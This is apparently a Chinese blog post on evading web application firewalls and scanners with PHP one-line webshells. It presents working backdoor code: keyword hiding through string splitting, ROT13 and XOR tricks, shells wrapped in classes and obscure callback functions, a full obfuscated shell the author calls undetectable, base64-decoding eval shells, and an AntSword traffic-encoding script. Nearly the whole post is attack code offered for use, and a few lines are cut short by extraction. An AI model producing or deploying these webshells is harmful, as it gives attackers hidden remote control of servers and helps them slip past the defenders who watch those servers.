科迅免杀php一句话_谈谈php一句话木马的免杀

文章最后更新时间为:2019年07月05日 00:17:52

一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀,Cknife,蚁剑,对于脚本小子来说,一句话木马大大降低了渗透的门槛。

但是一句话木马,已经不能适应现在的局势了,如今各大服务器纷纷装上了waf,一句话木马一旦被检测出来,一是会封ip,二是会发出报警信息,引起对方的警觉。

本文就来简单探讨一下php一句话木马的免杀,包括静态免杀和动态免杀。

1.静态免杀

php木马的静态免杀是很容易的,静态免杀基本是通过各种加密或者移位亦或等方式来隐藏关键词。下面以很常见的一句话木马举例:

1.1 隐藏关键字

waf检测到assert这个关键词,很大概率会被检测出来,那么我们可以尝试用别的词来生成,具体的生成方式有很多种,这里列举一下常见的几种方式,其实效果都差不多。拆解合并

$ch = explode(".","hello.ass.world.er.t");

$c = $ch[1].$ch[3].$ch[4]; //assert

$c($_POST['x']);

?>

目前来说,这种方式已经很难奏效了。利用各种函数、编码

比如对套上一层ROT13编码$c=str_rot13('n!ff!re!nffreg');

$str=explode('!',$c)[3];

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字,这里就不多说了。随机亦或产生

这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如

"Y"^"\x38"的结果就是a,同样的生成assert即可。$_StL="Y"^"\x38";

$_ENr="T"^"\x27";

$_ohw="^"^"\x2d";

$_gpN="~"^"\x1b";

$_fyR="g"^"\x15";

$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异,个人来说较推荐随机亦或的方式,有脚本在,也方便许多。

1.2 将关键操作隐藏在各种类、函数中

其实主要的目的还是做混淆。比如下面这个一句话木马:

$ch = explode(".","hello.ass.world.er.rt.e.saucerman");

$c = $ch[1].$ch[5].$ch[4]; //assert

@$c($_POST['x']);

?>

在用D盾进行扫描时,还是很容易被检测出来。

我们可以把他隐藏在类中:

class Test{

public $config='';

function __destruct(){

$ch = explode(".","hello.ass.world.er.rt.e.saucerman");

$c = $ch[1].$ch[5].$ch[4];

@$c($this->config);

}

}

$test=new Test();

@$test->config=$_POST['x'];

?>

试试D盾:

变成了二级可疑,虽然没有完全奏效,但是还是有所混淆这里的原因主要还是检测出了assert关键字,其实采用稍微复杂的方式来生成assert就可以了,这里偷懒就不做了。

1.3 使用冷门回调函数

像eval,assert的关键字作为函数名称很显然是要受waf重点照顾的,但是作为世界上最好的语言,php也不可能就这点函数,还有很多冷门的回调函数,虽然开发没什么人用,但作为后门还是很好的。

比如:

$password = "LandGrey";

array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");

?>

这部分函数我也没仔细找过,有兴趣的可以网上找一下,只需要有调用其他函数的功能即可。这里放一个我曾经写过的一个小马,利用了array_uintersect_uassoc函数来回调assert,并且也相应做了亦或处理来隐藏关键字,目测是不会被检测出来的。

function myfunction_key($a,$b){

if ($a===$b){

return 0;

}

return ($a>$b)?1:-1;

}

class rtHjmCdS{

public $fHfoj;

public $fDaGv;

public $HgAjSd;

function __construct(){

$_xlr="J"^"\x2b";

$_Nbv="V"^"\x25";

$_cfh="T"^"\x27";

$_PdK="I"^"\x2c";

$_zJQ="+"^"\x59";

$_RgD="="^"\x49";

$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";

$_wOK="j"^"\x18";

$_tAH="U"^"\x27";

$_HeV="J"^"\x2b";

$_cyo="-"^"\x54";

$_iSW="F"^"\x19";

$_jYS="/"^"\x5a";

$_BFt="h"^"\x1";

$_TRn="p"^"\x1e";

$_izx="k"^"\x1f";

$_gMz="X"^"\x3d";

$_TNu="

$_UiE="v"^"\x5";

$_iHI="q"^"\x14";

$_LIK="m"^"\xe";

$_Yey="Z"^"\x2e";

$_lMr="="^"\x62";

$_WOI="+"^"\x5e";

$_FQy="u"^"\x14";

$_sjC="d"^"\x17";

$_mOr=">"^"\x4d";

$_Txf="*"^"\x45";

$_PmW="O"^"\x2c";

$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;

}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'

$fdJfd = $this->fDaGv; // 'assert'

//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');

@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');

}

}

$jfnp=new rtHjmCdS();

@$jfnp->fHfoj=$_REQUEST['css'];

?>

到这里静态免杀基本就介绍完了,总结一下:使用冷门函数

尽量避免使用敏感关键字,可以用各种方式生成

将关键代码混淆在类、函数里

2. 动态免杀

静态免杀相对来是很容易的,方法也多种多样,但是很显然不管怎么变化,最终都会回到一个最终的函数调用:eval("xxxx")

而现在的waf都会基于流量检测,我们的木马返回包和发送包都有明显的特征,这样的木马基本逃不过动态检测。

下面以蚁剑为例,看下怎么绕过流量的动态监测。

首先我们使用稍微混淆过的木马:

class Test{

public $name = '';

function __destruct(){

@eval("$this->name");

}

}

$test= new Test();

$c = @$_POST['css'];

$test->name = $c;

?>

在蚁剑添加木马后,我们用burp来抓第一个请求包来看它发了什么内容:POST /a.php HTTP/1.1

Host: 192.168.129.128:80

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Content-Length: 985

Connection: close

css=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ae2ea%22%3Becho%20%40asenc(%24output)%3Becho%20%22348cb%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

解个码:@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "ae2ea";echo @asenc($output);echo "348cb";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

可以看出这个包就是获取当前目录信息和用户的信息。

请求包中出现了很多明显的关键字,如果我们想要混淆应该怎么做呢?下面介绍几种常见的方式。

2.1 利用代理中转流量过waf

我们可以使用代理拦截菜刀的包,然后对其进行一些编码解码措施。其原理如下:

注:上图来自https://xz.aliyun.com/t/2739

原理也很简单,我们只需要修改一句话木马的内容为:

class Test{

public $name = '';

function __destruct(){

@eval("$this->name");

}

}

$test= new Test();

$c = base64_decode(@$_POST['css']);

// 修改的地方就是上面这行,对参数进行解码之后再执行

$test->name = $c;

?>

然后我们只需要编写一个中间人代理脚本(如果有能力写扩展,直接用burpsuite就行了),将请求流量包中的css字段进行base64编码,这样的话请求包中就不会有明显的关键字了。

但是如果base64加解密太明显,还是容易被发现怎么办?aes、des等各种加密方式那么多,只要在一句话木马中写出解码的函数,加密想怎么来怎么来。

如果对相应包也进行了检测,怎么办?有请求包的加密解密,就可以有相应包的加解密啊,同样的,可以在一句话中对结果进行加密后再传输,在流量通过代理的时候进行解密即可。

2.2 使用蚁剑自带的编码

中国菜刀客户端已经有很多年不更新了,好用还是依旧好用,但是新的功能没有就很难受了,相比来说蚁剑客户端的可扩展性强多了,其实蚁剑自带编码功能,稍微改进一下,就可以绕过大部分waf检测了。

其原理和中转流量基本类似,只是在客户端就集成了对流量进行加解密的功能。比如在上面的一句话木马中,我们需要在中转代理处对参数进行base64编码,用蚁剑的话,我们只需要写一个编码脚本即可:/**

* php::b64pass编码器

* Create at: 2018/10/11 21:40:45

*

* 把所有 POST 参数都进行了 base64 编码

*

* 适用shell:

*

*

*

*/

'use strict';

module.exports = (pwd, data) => {

let randomID = `_0x${Math.random().toString(16).substr(2)}`;

data[randomID] = new Buffer(data['_']).toString('base64');

data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');

delete data['_'];

return data;

}

为了加点混淆,还可以加点动态的东西,比如随机生成一定长度的字符串加在前后,在一句话木马解码之前先去掉这些字符串。或者搞点密钥加进去,基本混淆的很难检测出来。

2.3 动态二进制加密-冰蝎

原理其实类似,客户端对流量进行加密然后传输--> 服务器端对流量进行解密再执行。在这样一个过程中,冰蝎通过生成一个随机的密钥来保证加密的可靠性。其中和上面的方法不同的是传递的流量是二进制字节,服务端的木马对流量进行解密之后,执行二进制字节码,这样的话静态免杀基本上也一并做了。

实现原理并不复杂,但是思路还是很好的思路

综上几种动态免杀的方式,都需要对一句话进行修改,其实改动并不多,只要写一个稍微复杂点的加解密函数,就够用很久了。

需要注意的是,这里提到的动态免杀,针对的是流量检测,如果是那种基于行为的动态检测,那估计大伙都得哭了。

关于php免杀就写这么多,因为是之前琢磨过的东西拿出来写一写,没有当时实验的图,也没有安装各种waf再进行实操一遍,这篇也就仅聊下思路,感兴趣的可以认真看一下下面的参考文章。

参考

你可能感兴趣的:(科迅免杀php一句话)